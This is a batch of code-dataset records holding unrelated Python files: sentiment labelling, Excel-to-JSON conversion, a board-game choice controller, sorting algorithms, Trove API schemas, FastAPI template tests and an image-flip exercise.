\"polarityV\" and \"sentimentV\" \ndef generateSentimentVader(text):\n#for text in clearedTextList:\n analyzer = SentimentIntensityAnalyzer()\n polarityV = analyzer.polarity_scores(text)['compound']\n if(polarityV >= 0.5):\n sentimentV = 'POS'\n elif(polarityV <= -0.5):\n sentimentV = 'NEG'\n else:\n sentimentV = 'NEU'\n senti_dicV = {\"sentimentVader\":sentimentV,\"polarityVader\":polarityV}\n return senti_dicV\n","sub_path":"labellingData/labellingData.py","file_name":"labellingData.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"590567433","text":"# -*- coding: utf-8 -*-\n\nfrom pathlib import Path\n\nfrom pyexceladapter.exception import ExcelError\nfrom pyexceladapter.converter import convert_to_raw_dict\nfrom pyexceladapter.mapper import map_to_json, map_to_mysql\nfrom pyexceladapter.rule import ToJsonRule, ToSqlRule\nfrom pyexceladapter.workbook import load_xlsx\nfrom pyexceladapter.utils import fileutils\nfrom pyexceladapter.enum import JsonKind\n\n\ndef xlsx_to_json(rule: ToJsonRule, celldata_dict: dict) -> str:\n try:\n raw_dict = convert_to_raw_dict(celldata_dict, rule.kind)\n json_data = map_to_json(raw_dict, rule)\n\n # post process\n if rule.replace_new_line:\n json_data = json_data.replace('\\\\n', rule.replace_new_line)\n\n # mkdir if the directory is not exists\n fileutils.makedir(rule.full_file_path, parents=True, exist_ok=True)\n\n # write to file\n fileutils.write_to_file(rule.full_file_path, json_data)\n\n return rule.full_file_path\n except Exception as ex:\n raise ex\n\n\ndef xlsx_to_sql(rule: ToJsonRule,\n celldata_dict: dict,\n sql_template: str) -> str:\n try:\n raw_dict = convert_to_raw_dict(celldata_dict, JsonKind.normal)\n sql_data = map_to_mysql(raw_dict, rule, sql_template)\n\n # mkdir if the directory is not exists\n fileutils.makedir(rule.full_file_path, parents=True, exist_ok=True)\n\n # write to file\n fileutils.write_to_file(rule.full_file_path, sql_data)\n\n return rule.full_file_path\n except Exception as ex:\n raise ex\n","sub_path":"pyexceladapter/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"627731267","text":"# -*- coding: utf-8 -*-\n#\n# This file is part of the Mage Knight implementation at\n# https://github.com/MartinAltmayer/mageknight.\n#\n# Copyright 2016 Martin Altmayer, Stefan Altmayer\n# The Mage Knight board game was created by Vlaada Chvátil.\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n#\n\nimport enum\nimport gettext\n\nfrom mageknight.base.attributes import AttributeObject, Attribute, ListAttribute\nfrom mageknight.base.decorators import checkState\nfrom mageknight.base.typeregistry import refSerializable, serializable\nfrom mageknight.data import Button, State, InvalidAction\n\ntr = gettext.gettext\n\n\n@serializable\nclass ChoiceConfiguration:\n def __init__(self, text=None, key=None, minResults=1, maxResults=1):\n if key is not None and not isinstance(key, str):\n raise TypeError('key must be a string')\n if not isinstance(minResults, int) or not isinstance(maxResults, int):\n raise TypeError('minResults and maxResults must be integers')\n\n self.text = text or tr(\"Choose one\")\n self.minResults = minResults\n self.maxResults = maxResults\n self.key = key\n\n def serialize(self, serializer):\n data = {}\n data['text'] = self.text\n if self.key is not None:\n data['key'] = self.key\n if self.minResults != 1:\n data['minResults'] = self.minResults\n if self.maxResults != 1:\n data['maxResults'] = self.maxResults\n return data\n\n @classmethod\n def load(cls, serializer, data):\n return cls(**data)\n\n def checkIsValidOption(self, match, object):\n raise NotImplementedError()\n\n def shouldFinish(self, results):\n return len(results) == self.maxResults\n\n def allowFinish(self, results):\n return len(results) >= self.minResults\n\n\n@serializable\nclass ChooseOptionConfiguration(ChoiceConfiguration):\n def __init__(self, type, options, optionTitles=None, text=None, key=None):\n super().__init__(text, key)\n self.type = type\n if len(options) == 0:\n raise RuntimeError(\"Must specify at least one option\")\n self.options = options\n self.optionTitles = optionTitles or [str(option) for option in options]\n\n def serialize(self, serializer):\n data = super().serialize(serializer)\n data['type'] = serializer.serialize(self.type)\n data['options'] = serializer.serializeList(self.options)\n data['optionTitles'] = self.optionTitles\n return data\n\n @classmethod\n def load(cls, serializer, data):\n arguments = data.copy()\n arguments['type'] = serializer.load(data['type'])\n arguments['options'] = serializer.loadList(list, data['options'])\n return cls(**arguments)\n\n def getOptionAt(self, index):\n return self.options[index]\n\n def checkIsValidOption(self, match, object):\n if object not in self.options:\n raise InvalidAction(tr(\"Cannot choose this.\"))\n\n\n@serializable\nclass ChooseNumberConfiguration(ChoiceConfiguration):\n def __init__(self, min, max, default, text=None, key=None):\n super().__init__(text, key)\n self.min = min\n self.max = max\n self.default = default\n\n def serialize(self, serializer):\n data = super().serialize(serializer)\n data['min'] = self.min\n data['max'] = self.max\n data['default'] = self.default\n return data\n\n def checkIsValidOption(self, match, object):\n if not (isinstance(object, int) and self.min <= object <= self.max):\n raise InvalidAction(tr(\"Choose a number between {} and {}.\").format(self.min, self.max))\n\n\n@refSerializable\nclass ChoiceController(AttributeObject):\n oldState = Attribute(State)\n config = Attribute(ChoiceConfiguration, storeType=True, signal='changed')\n results = ListAttribute(object, storeType=True, signal='resultsChanged')\n\n def start(self, config):\n if not self.match.coroutines.inCoroutine():\n raise RuntimeError(\"Choices must be started from within a coroutine.\")\n if self.config is not None:\n raise RuntimeError(\"Cannot start a choice while another choice is running.\")\n self.config = config\n if config.text is not None:\n self.match.messages.show(config.text, key=config.key)\n self.oldState = self.match.state\n self.match.setState(State.choice)\n self.match.coroutines.pause()\n\n def _getObject(self, object, index):\n if index is not None:\n assert object is None\n return self.config.getOptionAt(index)\n else:\n return object\n\n @checkState(State.choice)\n def choose(self, object=None, *, index=None):\n object = self._getObject(object, index)\n self.config.checkIsValidOption(self.match, object)\n\n if object in self.results:\n raise InvalidAction(tr(\"Option has already been chosen.\"))\n if len(self.results) >= self.config.maxResults:\n raise InvalidAction(tr(\"Cannot choose another option.\"))\n\n self.results.append(object)\n if self.config.shouldFinish(self.results):\n self._finish()\n\n @checkState(State.choice)\n def toggle(self, object=None, *, index=None):\n object = self._getObject(object, index)\n if object in self.results:\n self.results.remove(object)\n else:\n self.choose(object)\n\n @checkState(State.choice)\n def finish(self):\n if self.config.allowFinish(self.results):\n self._finish()\n else:\n raise InvalidAction(tr(\"Cannot finish choice.\"))\n\n def _finish(self):\n self.match.setState(self.oldState)\n self.config = None\n self.match.coroutines.resume()\n\n def hasResult(self):\n return len(self.results) == 1\n\n def fetchResults(self):\n assert self.match.state is not State.choice and self.config is None\n results = self.results\n self.results = []\n return results\n\n def fetchResult(self):\n assert self.match.state is not State.choice and self.config is None\n if len(self.results) == 0:\n raise RuntimeError(\"No option chosen.\")\n if len(self.results) > 1:\n raise RuntimeError(\"More than one option chosen\")\n assert len(self.results) == 1\n result = self.results[0]\n self.results = []\n return result\n\n def getButtons(self):\n if self.match.state is State.choice and self.config.allowFinish(self.results):\n return [Button(self.finish, 'finishChoice', tr(\"Choice done\"))]\n else:\n return []\n\n def ask(self, question, key=None):\n options = [True, False]\n optionTitles = [tr(\"Yes\"), tr(\"No\")]\n self.start(ChooseOptionConfiguration('ask', options, optionTitles, text=question, key=key))\n\n def chooseObject(self, objects, titles=None, text=None, key=None):\n self.start(ChooseOptionConfiguration('object', objects, titles, text=text, key=key))\n\n def chooseIndex(self, options, text=None, key=None):\n optionIndexes = list(range(len(options)))\n optionTitles = [str(option) for option in options]\n self.start(ChooseOptionConfiguration(\n 'index',\n optionIndexes,\n optionTitles,\n text=text,\n key=key\n ))\n\n def chooseNumber(self, min, max, default, text=None, key=None):\n self.start(ChooseNumberConfiguration(min, max, default, text=text, key=key))\n","sub_path":"mageknight/base/choice.py","file_name":"choice.py","file_ext":"py","file_size_in_byte":8023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"442670297","text":"'''\n# 排序算法Python实现\n# 1. 冒泡排序, 时间O(n2), 空间O(1), 占用常数内存, 稳定排序\n# 2. 选择排序, 时间O(n2), 空间O(1), 占用常数内存, 不稳定排序(如5,8,5,2,9)\n# 3. 插入排序, 时间O(n2), 空间O(1), 占用常数内存, 稳定排序\n# 4. 希尔排序, 时间O(nlogn), 空间O(1), 占用常数内存, 不稳定排序\n# 5. 归并排序, 时间O(nlogn), 空间O(n), 占用额外内存, 稳定排序\n# 6. 快速排序, 时间O(nlogn), 空间O(logn), 占用额外内存, 不稳定排序\n# 7. 堆排序, 时间O(nlogn), 空间O(1), 占用常数内存, 不稳定排序\n# 8. 排序, 时间O(n), 空间O(1), 占用额外内存, 稳定排序\n# 9. 排序, 时间O(n), 空间O(1), 占用额外内存, 稳定排序\n#10. 排序, 时间O(n), 空间O(1), 占用额外内存, 稳定排序\n'''\n\ndef bubble_sort(nums):\n '''\n 冒泡排序(升序)\n '''\n n = len(nums)\n for i in range(1, n):\n for j in range(0, n-i):\n # 遍历数组,相邻两位比较,大的数向后冒泡\n if nums[j] > nums[j+1]:\n nums[j], nums[j+1] = nums[j+1], nums[j]\n return nums\n\ndef select_sort(nums):\n '''\n 选择排序(升序)\n '''\n n = len(nums)\n for i in range(0, n-1):\n min_index = i\n for j in range(i, n):\n # 遍历数组,寻找最小值位置\n if nums[min_index] > nums[j]:\n min_index = j\n if i != min_index:\n # 将最小值交换到位置i处\n nums[i], nums[min_index] = nums[min_index], nums[i]\n return nums\n \ndef insert_sort(nums):\n '''\n 插入排序(升序)\n '''\n n = len(nums)\n for i in range(n):\n # 遍历未排序部分\n insert_num = nums[i]\n j = i - 1\n while j >= 0 and nums[j] > insert_num:\n # 遍历排序部分,寻找插入位置\n nums[j+1] = nums[j]\n j = j - 1 \n nums[j+1] = insert_num\n return nums\n\ndef shell_sort(nums):\n '''\n 希尔排序, 是插入排序的改进版。因为插入排序在小规模数据或基本有序时十分高效,希尔排序就根据增量序列,\n 如{1,3,7,2*k-1},将数据分割为若干小数据,进行插入排序,提高效率。\n '''\n n = len(nums)\n gap = n // 3\n while gap > 0:\n # 构建增量序列\n for i in range(gap, n):\n # 对gap间隔的子序列,进行插值排序\n insert_value = nums[i]\n j = i - gap\n while j >= 0 and nums[j] > insert_value:\n nums[j+gap] = nums[j]\n j = j - gap\n nums[j+gap] = insert_value\n gap = gap // 3\n return nums\n\ndef merge_sort_recusive(nums):\n '''\n 归并排序,递归实现\n '''\n # 退出递归条件,序列为空或只有1个元素\n if len(nums) < 2:\n return nums\n \n # 分割序列,并调用递归\n mid = len(nums) // 2\n left, right = merge_sort(nums[0:mid]), merge_sort(nums[mid:])\n\n # 合并序列,并返回\n merged = []\n while left and right:\n if left[0] < right[0]:\n merged.append(left.pop(0))\n else:\n merged.append(right.pop(0))\n while left:\n merged.append(left.pop(0))\n while right:\n merged.append(right.pop(0))\n return merged\n\ndef merge_sort(nums):\n '''\n 递归���序,自底向上地实现迭代\n '''\n n = len(nums)\n interval = 1\n while interval < n:\n # 子数组的长度序列[1,2,4,8,...]\n res = []\n index = 0\n while index < n:\n # 遍历数组,找到相邻的两个子数组\n left = nums[index:index+interval]\n right = nums[index+interval:index+2*interval] # 切片时允许索引溢出\n\n # 合并两子数组,并放入重排的数组中\n while left and right:\n if left[0] < right[0]:\n res.append(left.pop(0))\n else:\n res.append(right.pop(0))\n while left:\n res.append(left.pop(0))\n while right:\n res.append(right.pop(0))\n \n index += 2*interval\n\n # 赋值重排后的数组\n nums = res\n interval <<= 1\n\n return nums\n\ndef quick_sort_recursive(nums, left=None, right=None):\n '''\n 快速排序,效率最高的排序算法\n '''\n left = 0 if left == None else left\n right = len(nums) - 1 if right == None else right\n\n # 退出递归条件\n if left >= right:\n return nums\n\n # 选取一个基准值pivot,对[left:right]做分割,\n # 使[left:partition] < pivot < [partition:right]\n pivot = left\n partition = pivot\n index = pivot + 1\n while index <= right:\n if nums[index] < nums[pivot]:\n partition += 1\n nums[partition], nums[index] = nums[index], nums[partition]\n index += 1\n nums[pivot], nums[partition] = nums[partition], nums[pivot]\n\n # 以partition分割数组,并递归调用\n quick_sort_recursive(nums, left, partition-1)\n quick_sort_recursive(nums, partition+1, right)\n \ndef quick_sort(nums):\n '''\n 快速排序,迭代实现;将递归转换为迭代的一般思路,是用辅助栈来完成\n '''\n # 辅助栈,存放区间左右边界索引(left, right)\n stack = [(0, len(nums)-1)]\n while stack:\n left, right = stack.pop(-1)\n\n # 选基准pivot,并交换到left位置(也可直接选择left作为pivot)\n pivot = (left + right) // 2\n nums[left], nums[pivot] = nums[pivot], nums[left]\n pivot = left\n\n # 寻找分割partition\n partition = left\n index = left + 1\n while index <= right:\n if nums[index] < nums[pivot]:\n partition += 1\n nums[partition], nums[index] = nums[index], nums[partition]\n index += 1\n nums[partition], nums[left] = nums[left], nums[partition]\n\n # 将(left, partition-1), (partition+1, right)\n if left < partition - 1:\n stack.append((left, partition-1))\n if partition + 1 < right:\n stack.append((partition+1, right))\n return nums\n\ndef heapify(nums, size, i):\n '''\n 堆化,下沉操作,使以i为根节点的二叉树,满足最大堆性质;\n '''\n left_child = 2*i + 1\n right_child = 2*i + 2\n\n # 寻找父节点,左右子节点最大的值\n largest = i\n if left_child < size and nums[largest] < nums[left_child]:\n largest = left_child\n if right_child < size and nums[largest] < nums[right_child]:\n largest = right_child\n \n if largest != i:\n nums[i], nums[largest] = nums[largest], nums[i]\n heapify(nums, size, largest)\n \ndef heap_sort(nums):\n '''\n 堆排序\n '''\n n = len(nums)\n # 自底向上建堆\n index = n // 2\n while index >= 0:\n heapify(nums, n, index)\n index -= 1\n \n # 交换堆顶和堆尾元素,size-1,然后重排下堆\n tail = n - 1\n while tail > 0:\n nums[0], nums[tail] = nums[tail], nums[0]\n heapify(nums, tail, 0)\n tail -= 1\n\n return nums\n\ndef count_sort(nums):\n '''\n 计数排序,\n '''\n pass\n\nif __name__ == \"__main__\":\n import random\n nums = [random.randint(0, 9) for _ in range(10)]\n print('nums before:', nums)\n\n nums1 = nums.copy()\n bubble_sort(nums1)\n print('bubble sort:', nums1)\n\n nums2 = nums.copy()\n select_sort(nums2)\n print('select sort:', nums2)\n\n nums3 = nums.copy()\n insert_sort(nums3)\n print('insert sort:', nums3)\n\n nums4 = nums.copy()\n shell_sort(nums4)\n print(' shell sort:', nums4)\n\n nums5 = nums.copy()\n nums5 = merge_sort(nums5)\n print(' merge sort:', nums5)\n\n nums6 = nums.copy()\n quick_sort(nums6)\n print(' quick sort:', nums6)\n\n nums7 = nums.copy()\n heap_sort(nums7)\n print(' heap sort:', nums7)\n\n print(' nums after:', nums)","sub_path":"sort/sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":7257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"625552414","text":"# Runs through a filepath to print all .txt files and their date creation stamp.\n\nimport os\n\n\nfPath = 'C:\\\\PyProjects\\\\' # Filepath on system\nfName = '' # Filename instantiation\ntextString = 'txt' #what filetype we search for\n\ndef checkFile(fPath,fName,textString):\n print(\"Of the following {} files, here are the text files and creation timestamps: \\n\".format(len(os.listdir(fPath))))\n for s in os.listdir(fPath):\n if s.endswith(textString):\n fName = s\n allPath = os.path.join(fPath,fName)\n print(\"- \",allPath,\" --- \",os.path.getmtime(allPath))\n print(\"\\nThank you for searching with us today.\")\n\n\nif __name__ == \"__main__\":\n checkFile(fPath,fName,textString)\n \n\n","sub_path":"PyProjects/List Directory.py","file_name":"List Directory.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"496815740","text":"# Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\nfrom trove.common import cfg\n\nCONF = cfg.CONF\n\nurl_ref = {\n \"type\": \"string\",\n \"minLength\": 8,\n \"pattern\": 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]'\n '|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n}\n\nflavorref = {\n 'oneOf': [\n {\n \"type\": \"string\"\n #\"minLength\": 8,\n #\"pattern\": 'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]'\n # '|(?:%[0-9a-fA-F][0-9a-fA-F]))+'\n },\n {\n \"type\": \"integer\"\n }]\n}\n\nvolume_size = {\n \"oneOf\": [\n {\n \"type\": \"integer\",\n \"minimum\": 0\n },\n {\n \"type\": \"string\",\n \"minLength\": 1,\n \"pattern\": \"[0-9]+\"\n }]\n}\n\nnon_empty_string = {\n \"type\": \"string\",\n \"minLength\": 1,\n \"maxLength\": 255,\n \"pattern\": \"^.*[0-9a-zA-Z]+.*$\"\n}\n\nnon_empty_string_for_name = {\n \"type\": \"string\",\n \"minLength\": 1,\n \"maxLength\": 255\n}\n\nhost_string = {\n \"type\": \"string\",\n \"minLength\": 1,\n \"pattern\": \"^[%]?[\\w(-).]*[%]?$\"\n}\n\nport_ref = {\n \"type\" :\"integer\",\n \"minimum\":1024,\n \"maximum\":65535\n}\n\nname_string = {\n \"type\": \"string\",\n \"minLength\": 1,\n \"maxLength\": 16,\n \"pattern\": \"^.*[0-9a-zA-Z]+.*$\"\n}\n\nuuid = {\n \"type\": \"string\",\n \"minLength\": 1,\n \"maxLength\": 64,\n \"pattern\": \"^([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}\"\n \"-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}$\"\n}\n\nvolume = {\n \"type\": \"object\",\n \"required\": [\"size\"],\n \"properties\": {\n \"size\": volume_size,\n \"required\": True\n }\n}\n\nnics = {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n }\n}\n\ndatetime = {\n \"type\" : \"string\",\n \"maxLength\" : 8,\n \"minLength\" : 24,\n \"pattern\" : \"^(?ni:(?=\\d)((?'year'((1[6-9])|([2-9]\\d))\\d\\d)(?'sep'[/.-])(?'month'0?[1-9]|1[012])\\2\"\n \"(?'day'((?<!(\\2((0?[2469])|11)\\2))31)|(?<!\\2(0?2)\\2)(29|30)|((?<=((1[6-9]|[2-9]\\d)\"\n \"(0[48]|[2468][048]|[13579][26])|(16|[2468][048]|[3579][26])00)\\2\\3\\2)29)|\"\n \"((0?[1-9])|(1\\d)|(2[0-8])))(?:(?=\\x20\\d)\\x20|$))?\"\n \"((?<time>((0?[1-9]|1[012])(:[0-5]\\d){0,2}(\\x20[AP]M))|([01]\\d|2[0-3])(:[0-5]\\d){1,2}))?)$\",\n}\n\ndatabases_ref_list = {\n \"type\": \"array\",\n \"minItems\": 0,\n \"uniqueItems\": True,\n \"items\": {\n \"type\": \"object\",\n \"required\": [\"name\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"name\": non_empty_string\n }\n }\n}\n\ndatabases_ref_list_required = {\n \"type\": \"array\",\n \"minItems\": 0,\n \"uniqueItems\": True,\n \"items\": {\n \"type\": \"object\",\n \"required\": [\"name\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"name\": non_empty_string\n }\n }\n}\n\ndatabases_ref = {\n \"type\": \"object\",\n \"required\": [\"databases\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"databases\": databases_ref_list_required\n }\n}\n\ndatabases_def = {\n \"type\": \"array\",\n \"minItems\": 0,\n \"items\": {\n \"type\": \"object\",\n \"required\": [\"name\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"name\": non_empty_string,\n \"character_set\": non_empty_string,\n \"collate\": non_empty_string\n }\n }\n}\n\nuser_attributes = {\n \"type\": \"object\",\n \"additionalProperties\": True,\n \"minProperties\": 1,\n \"properties\": {\n \"name\": name_string,\n \"password\": non_empty_string,\n \"host\": host_string\n }\n}\n\n\nusers_list = {\n \"type\": \"array\",\n \"minItems\": 0,\n \"items\": {\n \"type\": \"object\",\n \"required\": [\"name\", \"password\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"name\": name_string,\n \"password\": non_empty_string,\n \"host\": host_string,\n \"databases\": databases_ref_list\n }\n }\n}\n\nconfiguration_id = {\n 'oneOf': [\n uuid\n ]\n}\n\nadmin_user_string = {\n \"minLength\": 1,\n \"maxLength\": 16,\n \"pattern\": \"^.*[0-9a-zA-Z]+.*$\"\n}\n\ninstance_extend_ref = {\n \"type\": \"object\",\n \"properties\": {\n \"admin_user\": admin_user_string,\n \"port\": port_ref\n }\n}\n\ninstance = {\n \"create\": {\n \"type\": \"object\",\n \"required\": [\"instance\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"instance\": {\n \"type\": \"object\",\n \"required\": [\"name\", \"flavorRef\",\n \"volume\" if CONF.trove_volume_support else None],\n \"additionalProperties\": True,\n \"properties\": {\n \"name\": non_empty_string_for_name,\n \"flavorRef\": flavorref,\n \"volume\": volume,\n \"databases\": databases_def,\n \"users\": users_list,\n \"service_type\": non_empty_string,\n \"extend\":instance_extend_ref,\n \"restorePoint\": {\n \"type\": \"object\",\n \"required\": [\"backupRef\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"backupRef\": uuid\n }\n },\n }\n }\n }\n },\n \"action\": {\n \"resize\": {\n \"volume\": {\n \"type\": \"object\",\n \"required\": [\"resize\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"resize\": {\n \"type\": \"object\",\n \"required\": [\"volume\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"volume\": volume\n }\n }\n }\n },\n 'flavorRef': {\n \"type\": \"object\",\n \"required\": [\"resize\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"resize\": {\n \"type\": \"object\",\n \"required\": [\"flavorRef\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"flavorRef\": flavorref\n }\n }\n }\n }\n },\n \"restart\": {\n \"type\": \"object\",\n \"required\": [\"restart\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"restart\": {\n \"type\": \"object\"\n }\n }\n },\n \n \"override\": {\n \"type\": \"object\",\n \"required\": [\"override\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"override\" : {\n \"type\" : \"object\",\n \"properties\" : {\n \"oneOf\": [\n {\n \"backup_id\": {\n \"type\": \"uuid\"\n }\n },\n {\n \"restorable_time\": {\n \"type\": \"datetime\"\n }\n }\n ]\n }\n }\n }\n }\n }\n}\n\nmgmt_instance = {\n \"action\": {\n 'migrate': {\n \"type\": \"object\",\n \"required\": [\"migrate\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"migrate\": {\n \"type\": \"object\"\n }\n }\n },\n \"reboot\": {\n \"type\": \"object\",\n \"required\": [\"reboot\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"reboot\": {\n \"type\": \"object\"\n }\n }\n },\n \"stop\": {\n \"type\": \"object\",\n \"required\": [\"stop\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"stop\": {\n \"type\": \"object\"\n }\n }\n }\n }\n}\n\nuser = {\n \"create\": {\n \"name\": \"users:create\",\n \"type\": \"object\",\n \"required\": [\"users\"],\n \"properties\": {\n \"users\": users_list\n }\n },\n \"update_all\": {\n \"users\": {\n \"type\": \"object\",\n \"required\": [\"users\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"users\": users_list\n }\n },\n \"databases\": databases_ref\n },\n \"update\": {\n \"type\": \"object\",\n \"required\": [\"user\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"user\": user_attributes\n }\n }\n}\n\ndbschema = {\n \"create\": {\n \"type\": \"object\",\n \"required\": [\"databases\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"databases\": databases_def\n }\n }\n}\n\nbackup = {\n \"create\": {\n \"name\": \"backup:create\",\n \"type\": \"object\",\n \"required\": [\"backup\"],\n \"properties\": {\n \"backup\": {\n \"type\": \"object\",\n \"required\": [\"name\",\"type\"],\n \"properties\": {\n \"description\": non_empty_string_for_name,\n \"name\": non_empty_string_for_name,\n \"type\": non_empty_string\n }\n }\n }\n }\n}\n\nconfiguration = {\n \"create\": {\n \"name\": \"configuration:create\",\n \"type\": \"object\",\n \"required\": [\"configuration\"],\n \"properties\": {\n \"configuration\": {\n \"type\": \"object\",\n \"required\": [\"values\", \"name\"],\n \"properties\": {\n \"description\": non_empty_string_for_name,\n \"values\": {\n \"type\": \"object\",\n },\n \"name\": non_empty_string_for_name,\n \"datastore\": {\n \"type\": \"object\",\n \"additionalProperties\": True,\n \"properties\": {\n \"type\": non_empty_string,\n \"version\": non_empty_string\n }\n }\n }\n }\n }\n },\n \"update\": {\n \"name\": \"configuration:update\",\n \"type\": \"object\",\n \"required\": [\"configuration\"],\n \"properties\": {\n \"configuration\": {\n \"type\": \"object\",\n \"required\": [],\n \"properties\": {\n \"description\": non_empty_string_for_name,\n \"values\": {\n \"type\": \"object\",\n },\n \"name\": non_empty_string_for_name\n }\n }\n }\n },\n \"edit\": {\n \"name\": \"configuration:edit\",\n \"type\": \"object\",\n \"required\": [\"configuration\"],\n \"properties\": {\n \"configuration\": {\n \"type\": \"object\",\n \"required\": [],\n \"properties\": {\n \"values\": {\n \"type\": \"object\",\n }\n }\n }\n }\n }\n}\n\n\naccount = {\n 'create': {\n \"type\": \"object\",\n \"name\": \"users\",\n \"required\": [\"users\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"users\": users_list\n }\n }\n}\n","sub_path":"trove/common/apischema.py","file_name":"apischema.py","file_ext":"py","file_size_in_byte":12422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"392981199","text":"import asyncio\nimport os\n\nimport fastapi\n# noinspection PyPackageRequirements\nimport pytest\nfrom jinja2.exceptions import TemplateNotFound\nfrom starlette.requests import Request\n\nimport fastapi_jinja as fj\n\nhere = os.path.dirname(__file__)\nfolder = os.path.join(here, \"templates\")\n\nfake_request = Request(scope={'type': 'http'})\n\n\ndef test_cannot_decorate_missing_template():\n with pytest.raises(TemplateNotFound):\n\n @fj.template(\"home/missing.j2\")\n def view_method(request: Request):\n return {}\n\n view_method(fake_request)\n\n\ndef test_can_decorate_dict_sync_method():\n @fj.template(\"home/index.j2\")\n def view_method(request: Request, a, b, c):\n return {\"a\": a, \"b\": b, \"c\": c}\n\n resp = view_method(fake_request, 1, 2, 3)\n assert isinstance(resp, fastapi.Response)\n assert resp.status_code == 200\n\n\ndef test_can_decorate_dict_async_method():\n @fj.template(\"home/index.j2\")\n async def view_method(request: Request, a, b, c):\n return {\"a\": a, \"b\": b, \"c\": c}\n\n resp = asyncio.run(view_method(fake_request, 1, 2, 3))\n assert isinstance(resp, fastapi.Response)\n assert resp.status_code == 200\n\n\ndef test_direct_response_pass_through():\n @fj.template(\"home/index.j2\")\n def view_method(request: Request, a, b, c):\n return fastapi.Response(content=\"abc\", status_code=418)\n\n resp = view_method(fake_request, 1, 2, 3)\n assert isinstance(resp, fastapi.Response)\n assert resp.status_code == 418\n assert resp.body == b\"abc\"\n","sub_path":"tests/test_render.py","file_name":"test_render.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"33604322","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 13 2018\n\n@author: sharvil\n\"\"\"\n\nimport sys\nimport numpy as np\nimport cv2\n\n# Write a function flipImage which flips an image either vertically or horizontally. The function\n# should take two parameters – the matrix storing the image data and a flag to indicate\n# whether the image should be flipped vertically or horizontally. Use this function from the\n# command line to flip a given image both vertically and horizontally which should give the\n# following results.\n\n\n# def flip_image(image_matrix, orientation):\n# cv2.imshow(\"Original\", image_matrix)\n# image_matrix = np.flip(image_matrix, orientation)\n# cv2.imshow(\"Rotated\", image_matrix)\n\ndef flip_image(image_matrix, orientation):\n rows = len(image_matrix)\n cols = len(image_matrix[0])\n if orientation == 0:\n half_cols = cols/2\n for row in range(rows):\n for col in range(int(half_cols)):\n image_matrix[row][col], image_matrix[row][cols - col - 1] = image_matrix[row][cols - col - 1], image_matrix[row][col]\n else:\n half_rows = rows/2\n for row in range(int(half_rows)):\n for col in range(cols):\n image_matrix[row][col], image_matrix[rows - row - 1][col] = image_matrix[rows - row - 1][col], image_matrix[row][col]\n\ntry:\n flag = int(sys.argv[1])\nexcept:\n flag = 0\n\nimage = cv2.imread(\"moon.tif\", cv2.IMREAD_GRAYSCALE)\ncv2.imshow(\"Original Image\", image)\nflip_image(image, flag)\ncv2.imshow(\"Flipped Image\", image)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"AssignmentOne/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"301438602","text":"from flask import Flask, render_template, request, jsonify, send_from_directory\nfrom subprocess import call\nimport socket, sys\napp = Flask(__name__)\nargs = sys.argv\ntry:\n port = sys.argv[1]\nexcept:\n port = 80\ndef doStuff(data):\n if data['type'] == 